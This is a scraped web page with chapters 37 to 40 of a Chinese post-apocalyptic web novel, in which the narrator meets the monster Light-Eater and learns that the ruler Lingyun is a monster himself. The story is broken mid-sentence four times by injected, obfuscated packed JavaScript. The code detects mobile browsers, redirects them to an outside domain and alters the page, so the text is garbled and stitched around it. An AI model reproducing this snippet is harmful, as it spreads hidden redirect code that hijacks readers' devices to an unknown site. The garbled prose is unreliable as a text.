我不知道凌云是否看得出这种伎俩。反正我在明面上还不知道一号基地的那种规矩。 ……他也未必关心人间琐事。 他只问,“你的能力?” 他的语气里甚至没有抓住我破绽时该有的嘲讽,只是简单的确认。 我回答说,“我想知道,若被强化后,我的能力能否显现出来。” 就算投币即启动的机器般,他伸掌接住了我放下的光珠子,另一只手稳定地按住了我。 37. 怪物 痛。我还未反应过来,就已被剧痛戳透了神经网络。 我定定地看着凌云。事实上我完全无法行动,我被拘束在僵硬的躯壳里,只能看着他。 难怪前面那些接受赐福的人都未表现出挨痛的反应,就像现在的我,外人看来大概也只是平静冷淡的态度。 我忍耐着,等待那阵痛苦过去。 据我对他人的观察,这种赐福应该不会持续太久。可身处痛苦之中,时间熬得比在外界的感受更为漫长,似乎永无止境。 我想象着那些如电流般密密麻麻连绵不绝的痛苦,是如何打开我的经络关窍,供给我力量。 可那只是幻想。唯有痛苦是真实的。 这真的不是某种骗局吗? 我好似已脱离了身躯,像云朵般漂浮在无法自控的身体上,感受到自身无所定形,向外辐射出无助的情绪。 我又被迫透过自身的视野,望着凌云那深渊里埋藏着太阳的眼睛。他真的为我所控了吗?他“爱”我吗? 我感受到,自身的情绪在波动中,仿佛正在某种磁力下,与他那庞大的、不可理解的心思纠缠起来,那些■■,那些呓噫,那些■■■,那些「锟斤拷 (她猛然站起身来,触电般地将■■的末肢拍开。 她是葛……,不,我是子涵。 我像逃亡般惊恐地撤回自己的情绪,重新将自己外放的思维包装为一个封闭的整体。 我回过神来。凌云仍坐在我的面前。 我用全部心神回避着与他的精神再度接触——那种磁场依旧存在,但好像是可以由我控制的。 或许刚刚那阵该死的接触不该怪罪他,而是出于我的失误。 我发现自己是站着的,那些痛苦已经消退了,取而代之的是全身如获新生般的轻松感觉。 我终于能够明白那些接受完赐福的人们为何都精神亢奋,那大概就像是刚吃过地狱辣椒又迅速解除了后遗症的爽感。 然后,我意识到,刚才我似乎很不礼貌地甩开了凌云的手。 凌云面色依旧沉静,就仿佛刚刚只是完成了一次普通的能力增幅。 他另一只手中握着的光珠子已经被消耗完毕,灰烬从他的指缝中散落出来。 凌云又问,“你的能力?” 他像是没有察觉刚刚的接触,又或者他有所感应,却还未清晰地将其与我联系在一起。 毕竟,与他那庞大的知觉相比,我的精神过于渺小了。大象如何能察觉蚂蚁的啃咬?我暗暗发誓,我得另外找个对象来测试自己的能力变化。 在凌云身上做实验,实在是太过危险了。 当晚我做了许多混乱的噩梦。梦见极地与岩浆。梦见深邃的太空。梦见五花缭乱的寒冷。梦见色彩斑斓的嘈杂。梦见纷纷乱乱的呓语,在对我说着,■■■■■…… 我浑身冷汗地从梦中醒来,从梦里采撷到的某个场景,定格在我的心头。 是吞光者。 它卧伏在四号基地的巢母洞窟之中,姿态古怪,活像个被孩童失手砸落到地上的雪糕球,一动也不动。 它的所有附肢都紧紧地贴着地面。 不知为何,我在梦里突然非常笃定地意识到了,某件我先前未曾察觉的事实。 我前不久去那里时,曾遗落了几根发丝。 我的梦里是吞光者,我的梦外是凌云。 醒来后,我毫不意外地感知到了近在咫尺的情绪。我不想知道凌云在做什么。我怀疑他是不用睡觉的。 我装作不知情,强迫自己再度入睡。 那个噩梦成了征兆。 次日,我在跟随探索队进行的途中,察觉到了吞光者的情绪。 那些情绪毫无疑问来自渴爱的怪物,比上次离别前更加激烈,翻涌着痛惜、怨恨、焦渴,像是一锅沸腾的浆糊。 它就在附近。 ……它为我而来。 我第一时间转头,去看走在队尾的凌云。 他神色平静地与我视线相接。他情绪中近似于人类的那部分里,纠缠着轻微的困惑和犹豫,可我知道那情绪已经持续好多天了。 他情绪中仅有的波澜绝非为眼下的情况而起。 我不知道他是未曾察觉吞光者的到来,还是尽管察觉了,也未将这样的情报放在心上。 我慢慢地扭开脸,不想暴露与吞光者相关的事情。 吞光者未必会现身。 如果怪物也有自保的理智,它就不该现身。 我不希望它现身。 假如凌云从吞光者的举动中意识到了我的能力,看到了它被“爱”操控后的愚蠢,他或许会重新审视我将带来的威胁。 可是,我能感到吞光者越来越近了。 当我感应到它的情绪突然发生极大的波动时,我知道,它一定是已经看到我了。 我用余光打量着周围的环境,却找不着它在哪里。 队伍中其他人没有异动,凌云也没有发布任何命令或指示。 吞光者藏得很好。 我背负着漆黑的人形,慢慢调整自己在队列中的位置。 具体来说,就是尽可能远离凌云,为他与怪物间可能发生的矛盾留出缓冲空间。 那阵情绪的峰值转瞬即逝,之后就没有什么波动,沉着又痛苦,像是藏在三尺冰封下的潜流。 我心想吞光者大概是放弃了,可除非确认它离开,我心中的不安就无法解除。 事实上,我只感觉到自己正离它越来越近,甚至几乎与它重合,就像是过去搭乘在它的附肢中摇晃一般。 它究竟藏在哪里呢? 我用光珠子照射周围的岩壁,甚至抬头看向黝黑的洞顶,颇有些杯弓蛇影的感受,心中烦忧难言。 旁边有人走来,好像是先前试图与我分担重负的某位姑娘,她问我脸色为何这么差。 我下意识避开一步,怕与她走得太近会带累她。 我还未想清楚这念头从何而来,就看见她的头颅从中裂开。能吸收光线的黑暗附肢贯穿了她的面孔,鲜红的血溅洒到了我的脸上。 与之相应的,是吞光者的情绪,几乎没有发生任何起伏。 我想起了我在黑湖边分组仪式上看到的那场屠杀。太久未看到它对人类开杀戒,我几乎要淡忘了吞光者那黑暗暴虐的一面。 那情景正在眼前重演。 无数附肢像木桩一样从地底升腾起来,密密地刺穿探索队员们的要害,将他们被撕裂的身体钉向天空。 不过是转瞬之间,我眼前就是一片血液,尸体和黑色附肢的丛林,简直就像是看到了穿刺公的刑场。 原来吞光者就藏在地底,在探索队经过前已设下陷阱。 这是一场以牙还牙的伏击。 我不知道吞光者是从哪些生物那里夺来了用于伪装的新皮肤,但毫无疑问,它是从人类这里学会了潜伏,学会了暴起,学会了如何在一瞬间瓦解剥夺对方的反击能力。 探险队员们拥有各种极为实用的战斗能力,也有多次主动出击狩猎怪物的骄人战绩。 可是,当攻守之势转换时,人类的肉躯太过脆弱了。 我犹记得当初,在黑湖边上,负责分组的持光者就是少有的强化了防御端的能力者,但他也未能从吞光者的愤怒下存活。 不堪一击。 只要失去了先机,人类的其他能力就毫无用武之地。 我知道,我与他们是一样的。 我只不过幸运在,比他们更早发动了自身的能力。 现在,举起了整座屠杀场的怪物从地底缓缓站起身来,向我伸出了附肢,想要像往常般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我曾以为那种遇光既噬的黑洞特性是不可改变的,后来我见过一次它重伤后断尾般留下的躯段,破除了这种迷信。 可眼前的景象仍让我受到莫大冲击。 探索队员们的躯骸因失去支撑而纷纷砸落地面。 吞光者那无坚不摧的皮肤像吹散架的纸灯笼一样化作飞灰,其下的肉质像烧融的塑料般变得焦黑枯萎,融作一滩焦漆,覆盖在血海之上。 最后残留下的唯一物件,是探险队员们曾遍寻不见的能源中枢,如今赫然屹立于血泊之中。 其形状古怪得像是玉器店会摆在橱窗中的摆件,颜色如煤炭般黝黑深邃,又从某些棱角中透出钻石般璀璨的光辉。 某具过于标准的人类躯骸,腹腔被洞穿了桶形的伤口,本该毫无半点生气,却从血海中站了起来。 其步伐受到了重心影响,歪着身体,慢悠悠地走过来,像是一具从容的丧尸。 “他”俯下身体,将吞光者的能源中枢塞到自己的腹腔之中。 尺寸并不符合,可这奇异的材料填补了伤口,撑起了身体。 不知为何,我总觉得我见过类似的景象,然后想起,我也曾无数次见到,吞光者也是像这样般将战利品装配成它自身的肢体。 ——吞噬。转化。组合。搭载。 我看着正向我走来的凌云。 我早知道有这样的可能性。可我也曾无数次设想过不同的可能性,那些可能性在如今纷纷破裂,只留下血淋淋的真相,横陈于我眼前。 “他”是怪物。 或许,“他”就是一号基地的巢母。 38. 黑湖 噗通。 就像石头沉入井底,我将从地表带回来的孩子放入黑湖之中。 由其余探索队员们背负的那些幸存者,在遭遇吞光者袭击时被彻底损坏了。 我检查过现场,他们绝无再生还的可能。 唯有这个被我带回来的孩童,明明曾两度被人放弃,如今却成了那座城市中唯一的幸存者。 命运弄人。就像我,偏偏是我活到了现在。 兰姐教过我,不要把这孩子当做希望的象征。 我决定遵从这个教诲,将其投入黑湖后就不再回望。 听说,每个人在黑湖中沉睡到醒来前的时间是不等的。一号基地里流传说,曾有人千辛万苦去地上的城市里寻回了自己的爱人,可直到生命终点,都未能等到对方从黑湖中醒来。 这听起来像是什么末日版本的爱情童话。 将这个故事告诉我的人,正是接替了当初那位持光者来主导分组仪式的人,也是我这次前来黑湖的带路人。 她面容寡淡,发色浅黄,中文讲得半生不熟。 前任在岗位上死得惨烈,使她提高了警惕,小心翼翼地在路口设置了屏障,才坐下来找我说话,还不时地瞄向黑暗深处。 我如今在一号基地里登记的能力,是“短暂地使怪物失能(不稳定)”。 她看过我的记录,所以很高兴这次我也过来,大概是认为在遭遇危险时我在场能提高她保命的几率。 可惜从结果来看,我只能保住自己,每次都是。 一号基地对吸纳新人的事情既重视又不重视。 重视在于,探险队们会不辞劳苦,不计酬劳,可谓是发挥人道主义精神般,将旧时代的人类们从地表搬运来黑湖,给其一个新生的机会。 不重视在于,若他们当真从黑湖醒来,成为新的同伴,或是新的资源竞争对手时,基地方面却只派出一个指导者,用简单的分组仪式来草率决定新人的去向,对命运的残酷淘汰听之任之。 分组者就在抱怨,探险队员们都是成组行动的,她平时上班却不得不落单走路。 虽说黑湖下藏着巢母,周围没什么生物活动,但保不齐会再发生上次的情况。 她说她的前任,很早前就上报过在黑湖周边发现了怪物活动的报告。 报告里说那只怪物对人类没有主动攻击性,遇光会受刺激,基地好像只看到了前半句,一直没有处理。她的前任只能在那种工作环境里继续坚持,直至遭遇不幸。 她发誓说要是她发现了什么不好的迹象,一定要将事实夸大了说。 若出了事,会有人替她做主,但对已遭遇不幸的她来说,得不偿失。 我没有问她关于基地内部派系争斗的事情。 一号基地中的最高领导者,无疑就是凌云。 他用他自定的统一标准去裁决所有事情,某种程度上堪称为公正。但是他不在乎很多细节,也不在乎他决定的事情由谁去以什么方式来执行。 他不挑选僚属,但人们都争做他的代理人。 独自一人是很难垄断这门生意的,但利益相似的人们可以结党,去操纵凌云周围的耳目网络,随时守候着成为传令第一人:有了组织严密的网络,就能够拦截、筛选那些需要凌云处理的消息;抢占先机的人,能以更符合自身利益的方式去策划执行凌云的命令。 这些事看起来都很眼熟。 事实上,在探险队中,各个小团体就是这么做的。 但探险队规模太小了,消息几乎都是透明的,队员间的战斗能力差距也不算太大,总体来说,利益分配还算公平。 而在一号基地这样广阔的空间中,既得利益集团就能依靠组织优势和能力优势,人为制造信息差,分化阶层,垄断这门代理人生意了。 一号基地中,这样明争暗斗的派系有好几个。 我跟着凌云来到基地的这几天,因为离凌云的位置太近,有好几次被这样的派系找上门来。 就算我再迟钝,大概也意识到了眼前复杂的局势。 几个代理人似乎争得很激烈,但在凌云面前,又好像达成了什么微妙的平衡。 凌云不会玩弄什么帝王平衡术。他没有这种意识,也没有这种需求。只要他发布的那些命令被达成,整座基地都照常运转,究竟谁从中获益更多,谁遭受了隐形剥削,他都不在乎。 只不过,他对工具没有偏好,愿意给任何派系以机会,才达成了类似平衡的效果。 我最开始觉得无稽,困惑为何到了末世里,处于弱势的人类还不能抱团,非要搞这样的内部争斗。 等看多几日,就像看村里争地打架一样,习以为常了。 那些代理人们的利益很难统一。 所有人都知道,向内争夺分配权,要比对外经营掠夺要更容易——总有人在勤恳劳动,而利用所谓的“智慧”,从劳动者的盘子中分食,肯定比亲自劳动要省力。 每个人都想做最省力最安全的工作,这注定整个基地的人不会报团成为一个整体,而不同的语言、文化背景,让基地中的人们天然分化为了不同的圈层,有了角逐权力的基础。 来到一号基地后,我才意识到,当初救援幸存者时,那些所谓宗教或历史的幌子,未必不是这种斗争的延伸。 人们冷酷地计算着不同派系的后备力量。 兰姐出走前,一号基地已经是这个模样了吗? 她留给我的人脉信息,我还没来得及去寻找,主动接触我的派系也没人顶着类似的名头,想来那个小组织在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680342|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一号基地中发展得不是很如意。 兰姐曾劝过我,要与同胞处好关系,也是在暗示我,为了生存,必要的时候得加入这里的人际网络。 我不擅长这些事,也不想关心这些事。 凌云不在乎。狐假虎威的我也可以不用太在乎。 被独自安排来此地承担危险工作的分组者,却是很在乎的。 分组者要我陪伴她这次工作,来抵这次带路的费用。 她和我聊天,说这么多话,还暗示自身已投诚某个靠山,是又想在这次行动中依靠我的能力,又怕我别有图谋,背后捅刀。 等工作时间到了,她站起身来,举起光亮,对着黑湖喊叫起来。 她喊的当然不是“集合”,而是她自身所熟悉的语言。无论人们听不听得懂,光亮与声音在黑暗中已有足够的号召力。 上次分组结束后才醒来的新人们,自然而然地向我们聚集而来。 我已知道,黑湖中的黑水正是我们如今的食物,所以,就算两次分组间隔的时间长些,新人们也不会饿死。 就算分组者来迟了,他们也只会在黑暗和虚无中像无头苍蝇般乱转,多受些精神上的煎熬。 可这样庞大的黑湖从何而来呢? 我在别处观察到的黑水都是矿脉中光珠子的伴生物。难道黑湖底部藏着最大的富矿? 或许就因为有这种推测,人们才都说,一号基地的巢母就藏在黑湖底下。 虽然,基地中从未有人用言辞来形容巢母的真面目。 想到巢母,我就又想起了凌云。 只有像现在这样,短暂离开他身边,我才能更好地思考关于他的事情。 那天,凌云没有否认,我所提出来的对他身份的任何猜疑。 上位者就算被识破真身,也无惧小民,既不惊慌也不苦恼。 可我能感受到他情绪中深藏的犹疑,我不想刺激他作出任何没有挽回余地的决断,所以适时地住嘴。 于是他继续维持起原有的关系——我不知道怪物如何理解人类间的相处,在人类这边,人心复杂难测,关系中能维持不变的永远只有表象。 那时的我正站在吞光者的遗骸边。比我强大无数倍的吞光者没能杀死我,恰恰相反,“爱”害死了它。 在那痛苦与愤怒中,我的心底隐藏着一丝自私的快乐,为着它因“爱”而死,因我而死。 或许我掌握着比自己想象中更强大的力量。 “爱”没有半点物理上的伤害能力,但那也可以成为一种暴力。 凌云向我走来时,其非人的面貌,会令所有目睹到他的人类陷入莫大的恐惧。 我放任那不由自主的恐惧在心中疯长,想的却是,我必须控制住他,无论用什么方式。 39. 回首 在那之后,凌云不容拒绝地将我带回了一号基地。 我很担忧遭遇软禁或封口,毕竟我已发现了他是怪物的真相,但他除了亲自指定我的住所外,并没有限制我在一号基地内的行动。 于是,我按部就班地了解基地生存守则,完成新人登记。 在那场灾难中,吞光者独独放过我的异常之处,需要我给出一个解释。 我已觉醒能力的事情是瞒不住的,但好在能力的具体内容还可以打马虎眼。 谁能猜到异能中会存在“爱”这种虚无缥缈的元素呢?我自己都无法提出对“爱”的解释。 我参考着常人来到一号基地会有的举措,去打听消息,寻找工作,并小心地观察着凌云的态度。 他似乎并不在意我与外人交谈,或是擅自走远。他也很忙,在一号基地中会有许多人来找他,他并非无时无刻都盯着我。 我在简单的接触中,发现没有任何一个派系的人,流露出哪怕最轻微的反抗凌云统治的想法。 这绝不是因为凌云表现得像是什么无为的圣君,才没人造反。 人们不过是遵从了最简单的逻辑,规则由最强者说了算。 具备最强伤害能力的人,拥有对所有事情的一票否决权。就算凌云还承担着将人们的劳动成果兑现为实际利益的关键职能,那也是次要的——如果他不能打,可能早就被人关起来当成提款机了。 察觉到这些后,我就失去了将凌云作为怪物的那重身份透露给他人的兴致。 人们愿意供奉巢母,大概率也不介意由怪物来做政治领袖。否则,难道大家都是傻子,在我之前就没人猜疑过凌云的来历与身份? 我没必要冒风险,为了不存在的盟友,在这件事上试探凌云的反应。 我更在意的是自身的行动自由问题。 当初因一丝善念而选择背负的幸存者,成为了让我趁机离开一号基地的机会。 我事先知道凌云今天有别的事,就特意当着他的面,与外人定下了前来黑湖的行程。那些派系的人无法争取到我,也不愿意得罪我,帮忙介绍了向导,也就是分组者。 凌云没有阻拦我,也没有插手整项安排。 于是,就在今天,我竟然真的顺利走出了一号基地。 可是现在,当我看着黑湖,想起传说中住在湖底的巢母时,不由心想,为何他愿意纵容我外出呢? ——只不过是来到这里而已,我敢说自己逃离他的掌控范围了吗? 谁说他所使用的弱小人类躯壳,就是他的全部? 我明明早就知道,他的精神,关联着体量那么庞大的知觉。 此时,我突然想到一个问题,那会儿他人类的身躯已残破不堪,却无损于他的力量,那么,他的能源中枢藏在哪里? 浮在黑湖中的人类逐渐向着光明聚集了过来。 分组者板起了脸。她建议我也这么做,说趁早树立权威,能在分组时省下许多被质疑或挑衅的麻烦。 我看着黑湖中的纷纭人影,默默计数,又觉得有些矛盾之处。 我见识过探险队前往地面搜寻和拯救幸存者的效率了。就算排除掉吞光者这个意外因素,我所参与到的那支探险队在救助数据上也是令人堪忧的。 如果每次从黑湖中醒来的人数规模,都与我曾参加过的那次分组仪式相当,也就是每隔数日就有一两百新人从黑湖中苏醒的话,那得出动多少支探险队,才能维持黑湖中的人数平衡呢? 我还未打听到一号基地中有能力前往地面的探险队总数,但我觉得,很难将黑湖内数目庞大、种类纷杂的人类库存,全归功于人类探险队对前文明的拯救。 退一万步讲,在第一次有人类从黑湖中醒来前,在人类组织起足够规模的探险队前往地表前,这套新人供给体制,最早是由谁建立的呢? 说来好笑,我第一个怀疑的救命恩人,竟然还是凌云。 ……我曾问过凌云,为何要与人类共同生活? 与那些被动接受供奉的巢母相比,他明显是在有意参与并主导着人类的生活。 他看着我说,他想要学习。 多正常啊。孟德尔培育豌豆,法布尔观察昆虫,那么,天降的怪物自然也会想要培育、观察人类。 为此特意建一个培养皿,建一个生态箱,又算得了什么呢? 我简直想笑,然后记起了以前流行的句式——连XX都在学习了,你还在等什么? 黑湖中的人们登上了岸,分组者开始介绍分组的规则。 她用的当然不是中文。于是我来负责中文翻译。 分组者没有阻止我,我想那是因为她所投靠的派系里,也有一部分人是中文圈子的。 当初将她介绍给我做向导的那个人,就是我从紧跟凌云的那堆眼线中挑选出来的同胞。 说是翻译,其实我没有这样的语言能力,但我知道她要介绍的都有哪些规则。 我现在很能理解当初持光者的冷漠态度了。 你很难对注定短命的人倾注太多感情,而且,该如何对他们诉说,他们将要面临的残酷真相呢? 他们好不容易才获得新生,难道要立刻告诉他们,世界已经没有指望了吗? 他们沉浸在刚觉醒能力的喜悦中,又正是迫切想要抓住些什么,想要拼搏奋斗的时候。 分组者的眼神里也流露出怜悯的目光。 有人来询问,可我们对分组后的去向闭口不言。 何苦立刻让他们失去对生活的勇气呢?他们现在的蓬勃心气,最能帮助他们熬过初始试炼。 吞光者已经死去。巢母在黑湖坐镇。此处周围尚未发现有其他的怪物潜伏。 所以也没有什么生存规则是必须现在就讲的。 等他们抵达了各自的基地,基地自然会根据其周边生态和怪物情况,对他们开展生存知识方面的培训。 如果他们无法抵达基地,那也没必要在现在浪费唇舌。 大哥小弟小妹他们曾走过的那段黑暗的漫漫长途,注定是他们要靠自身意志度过的考验,也是在这里生存下来的最基础的考验。 人类的心智很难忍受黑暗与孤寂的折磨,可是,与未来将要面临的其他威胁相比,这不过是最简单的、最安全的通道而已。 我无法鼓励他们努力适应环境,鼓励他们熬过这考验,因为,我无法许诺,在他们即将抵达的集体中,有光明的未来等待着他们。 我又怎么说得出口,他们接下来的每一步,可能都会更加黑暗。 他们会在各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720757|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个基地中怀疑地徘徊,失望地出走,麻木地劳作,或是选择更加轻松的一了百了。 可是,究竟是生是死,是屈服于麻木,还是怀着勇气继续生活,这应该由他们在各自的实践和探索中找到答案。 新人的损耗率是很高的。 据说有半数新人无法顺利抵达基地。在各个基地里,又有半数新人无法接受基地的规则。很多新人会轻易丧失求生意志。轮到外出与怪物狭路相逢时,新人又常常是最鲁莽的。 分组者告诉我,能活过一周的新人,十不存一。 就算平安度过了最容易出错的那段时期,熬成了老人,生命也未必能得到保障。 大哥还在的时候,一直有留心计算四号基地的减员人数。 越到后来,他越沉默,不肯再告诉我们具体数目。 明明上一任负责分组的持光者,偏袒着四号基地,源源不断地将人员送到兰姐这里,可是,我在四号基地见到的名册上,来来去去地涂抹过,也不过填着两百多号人的名字。 分组者说,当初能被分到一号基地,是她的幸运。 可惜这样的指标,如今被掐得很严。 我并不想知道这种指标约束,究竟是出自凌云,还是某个派系的添油加醋,亦或是一号基地中所有派系达成的共识。反正,在我看来,一号基地未必就是什么人类方舟、希望之光。 但我理解分组者的庆幸。 她笑着对我说,能像她这样活过头一年的人,百不存一。 分组者私下与我聊天时,语气热情,但分组时就两样了。她怕人群起哄闹出什么麻烦,面色严肃,行动里多少带着些冷酷。 我无可无不可地饰演着打手的角色。 我那件用怪物材料缝补改造过的劳保服要是还在的话,或许更能镇得住场子。 不过,前几天刚抵达一号基地时,凌云送给我一套新衣服,我不敢不穿。 我承认新皮衣无论在强度上还是美观上都更令人满意,可总有些细节我觉得能再改改,现在又还没能抽出时间来做。 我将头发绑起来,腰间带着刀,穿这样一身皮衣,面无表情地坐在通道口。那些新人们已经见识过分组者的屏障能力了,暂且还不敢过来挑战我的深浅。 他们哪会想到,若打起来,我的战斗力可能还比不上他们新觉醒的能力呢? 分组者利落果断地作出决定,将人们分去不同的基地。 我不知道她依照着什么标准,可能单纯按照喜好,也可能参照着她身后派系的某些命令。 在这件事上,我没有权利干预她的判断。 我安静地看着人们进行分组,感觉有些像是在看人们被孟婆分去投胎。 我和分组者都很清楚他们将面临的境遇,照样公事公办。 这样艰辛苦难的第二次人生,是否值得从黑湖醒过来经历一遭,只有每个人自己有资格评判。 但就像每个人被赋予最初的生命时一样,选择权并不由自己。 将大批人类投放入黑湖中的那个存在,可能并不在乎他们将要经历的痛苦,只是想要观察……学习。 我倒是没有怨恨。 因为我没什么心理落差,反正第一次的时候,我也不是在父母的期望和爱中降生的。 40. 来电 回到一号基地的时候,有个看上去略有些面熟的人正等着我,说凌云让他带我去某个地方。 我在路上问出来,原来是要带我去修手机。 探险队曾为这个目的,特意从废墟中起出了一批物资。可惜随着探险队的全军覆没,那些存在个人储物空间里的电机大概也灰飞烟灭了。 照带路者的说法,一号基地里似乎之前也有人捣鼓过这类事情,可能已经具备了修好手机的条件。 我跟着他一路走,一路打量着环境。 一号基地里的人在照明上是很慷慨的。与其他基地的黑暗隐蔽不同,他们有更为强大的巢母照看着,又自恃能力过人,恨不得将整座基地装饰成不夜城。 所以这边的街道很有看头。人们有余力打点房屋,甚至摆摊设铺。 我们离开了最繁荣的街道,像是从主血管走入分血管再走入毛细血管,道路越来越偏僻深入,我对沿路见闻也越来越感兴趣。 最后,带路者停在了一座有些像是垃圾回收站的房屋旁边。 这屋边码着瓶瓶罐罐,纸箱胶皮,铁丝线卷,分门别类、整整齐齐,让人看得心旷神怡。 唯一独特处是门口摆着个生锈的铁架子,搁满了陶瓷花盆,装着各色泥土或黑水,寸草不生。 总之,这里的整体环境让我一看就觉得亲切,下意识想要问一句,老板,你们这家收纸皮是几毛几一斤。 这时,凌云从街道另一边走来,让我喜悦的心情顿时一淡。 带路者已经从我身边走开,急着去迎凌云。 凌云身后也跟着各式各样的人,看似是路过的闲人,实则都是各派系的眼线。这群人拥挤得让街道都显得窄了,只能尴尬地靠近彼此,装模作样。 这几天下来,我已经对这样的场景熟悉到厌倦了。 带路者迎来凌云,又去敲垃圾回收站的门。 不一会,走出来个人,十三四岁的样子,高高瘦瘦,胳膊细长,看到这样大的阵仗,也只是抬了抬眼皮,以青少年特有的那种张扬摆谱的语调问,“什么事呀?” 我有些讶异。 虽说知道有这样的可能,但我还是第一次在地底看到这样年纪的孩子。毕竟,正如那些人所说,年纪小的人很难存活下来。 不过,这里是包容万象的一号基地,无奇不有。 带路者絮絮叨叨说了来意,主要是向这年轻人强调事情的重要性,示意他对凌云尊敬些。 那青少年听完,一伸手,“拿来看看。” 我走过去,从贴身的包里将藏了许久的手机递过去。说实话,我对这玩意也没报什么希望了。 就算能修好,在这末世里又有什么意义呢? 他将其拿在手中,翻来覆去看了几眼,完了递回我,说,“等着。” 他回屋去,不一会,拎了台怪模怪样的机器出来。 我猜那是移动电源。果然,他拿电线边接边说,“看看,不一定管用。” 电路接通后,过了漫长的几十秒,漆黑的屏幕上迟钝地亮起了黯淡的充电符号。 青少年下意识擦了擦屏幕上不存在的灰尘。 我原以为自己不在意的,可眼神像被磁铁吸引在那方屏幕上,期待着恢复与屏幕中那个世界的连接。 又等了好几分钟。 我的心灰了好几次,中途还去观察过别人的反应。 凌云的耐心是深不见底的。外人的面目则有趣得多,好奇、无聊与焦躁轮番滚动,总归是事不关己。 手机的屏幕终于完全亮起来了。黑漆保鲜膜的封存能力竟然这么强,能带着生物和电子产品穿过这样的漫漫长夜。 我直勾勾地盯着每一个细节,不忍错开眼睛。 漫长的开机启动画面后,青少年摆弄了几下,转过手机,将锁屏密码的界面递给我,“密码?” 我立即接过来,手指急切地在屏幕上滑动,几乎不用刻意回想,解锁密码的本能竟然都还在肌肉记忆里。 短暂的卡顿后,我终于看到了熟悉的手机界面。 我有些不知所措,正思考着还有哪个APP在这个末日中是有用的,一个待接来电的页面的突然跳到了最前。 与之同时响起的,是仿佛要刺穿现实的急促铃声。 嘀嘀嘀嘀。嘀嘀嘀嘀。 我毛骨悚然,有一瞬间差点摔了手机,几乎要以为整个末日都是我在地下室里做的一场梦。 ——只有来电铃声锲而不舍地想要叫醒我。 我慌乱地想,面试要迟到了。屏幕上显示的来电人正是我备注过的“HR王小姐”。 我下意识按住了接听键。 在这本不该有信号的地方,来电竟然接通了,计时器一秒一秒地跳动着。 可电话那头没有传来HR的问好或催促或求助,悄无声响,像是连通了一片死寂。 我的手机被夺走了。 我又重新置身于末日世界。 那个青少年掐断了来电,急急忙忙地说道,“吓死人了,怎么闹铃偏偏设在这个时候?” “可是……!?”我立刻想要同他争辩,那明明就是来电而非闹铃。 那个青少年用恶狠狠的眼神瞪着我,我这才留意到周围人群从惊悚到放松的氛围,也留意到他语调里隐藏着的颤抖。 他不是弄错了,而是有意瞒住某些事情。可我并不想就此罢休,我才不管他有多生气,上前一步抓住他的手腕,只执着于我在意的事情,“你说清楚,究竟……” 我的声音被迫中断。 是凌云。他不知何时来到我身后,伸臂将我按入他怀里,不容反抗地截断了我的行动。 我愣了愣,直觉感到危险,运转全部心神去分析刚刚被我忽略掉的凌云的情绪。 那繁杂的遮盖物下,能被我感知到的微小情绪是紧张和不快。 为什么?没时间去疑惑,我得立即处理眼下的状况。 煤气罐是这样的,平时静悄悄的不惹人注意,一有异样就得全神贯注去处理。 我没有挣扎,任他的手臂像铁箍一样将我固定在他的胸口。凌云能轻易使出更加强大的力量,所以,顺从肯定比反抗更管用。 我要先确保那份力量不被激发,再慢慢转圜。 我深呼吸一口,松开了被我抓住的青少年,不去管对方立即逃开的行为,缓缓地侧过身仰头去看凌云。 这个侧身是有诀窍的,要将靠近他的那侧更贴近地抵住他胸膛,让他知道我没有逃走的意图,再借力转动远离他的另一侧,转过身来。 我望进他的眼里——凌云也正看着我。那幽深的瞳孔令我心悸。但是,很好。他的注意力在我身上。这总比问题出在别处,更容易解决。 我强迫自己正视着他,给足了尊重的反馈,等到心跳平和下来,才放缓声音问他,“怎么了?” 他眼也不眨地说,“回去。” 他的话语在这个基地里就是命令。但我大概知道他对新增细节和补充疑问有一定的容忍余地。 “手机不管了?”我始终看着他的眼,像是盯着一条蛇,不敢错过它吐信的瞬间,我试探着问,让话题集中在他的意愿周围,“你不是想看手机的功能吗?” 他说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764257|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“修好它。” 有了这个谕令,我才敢挪动酸痛的脖子,重新看向我的手机。中途小心地不让注意力外泄到任何其他事物上。 我转动视线,找到了那个手机,头也不抬地问,“修好了吗?”又看见那屏幕已经被切回了主界面,“我可以带走吗?” 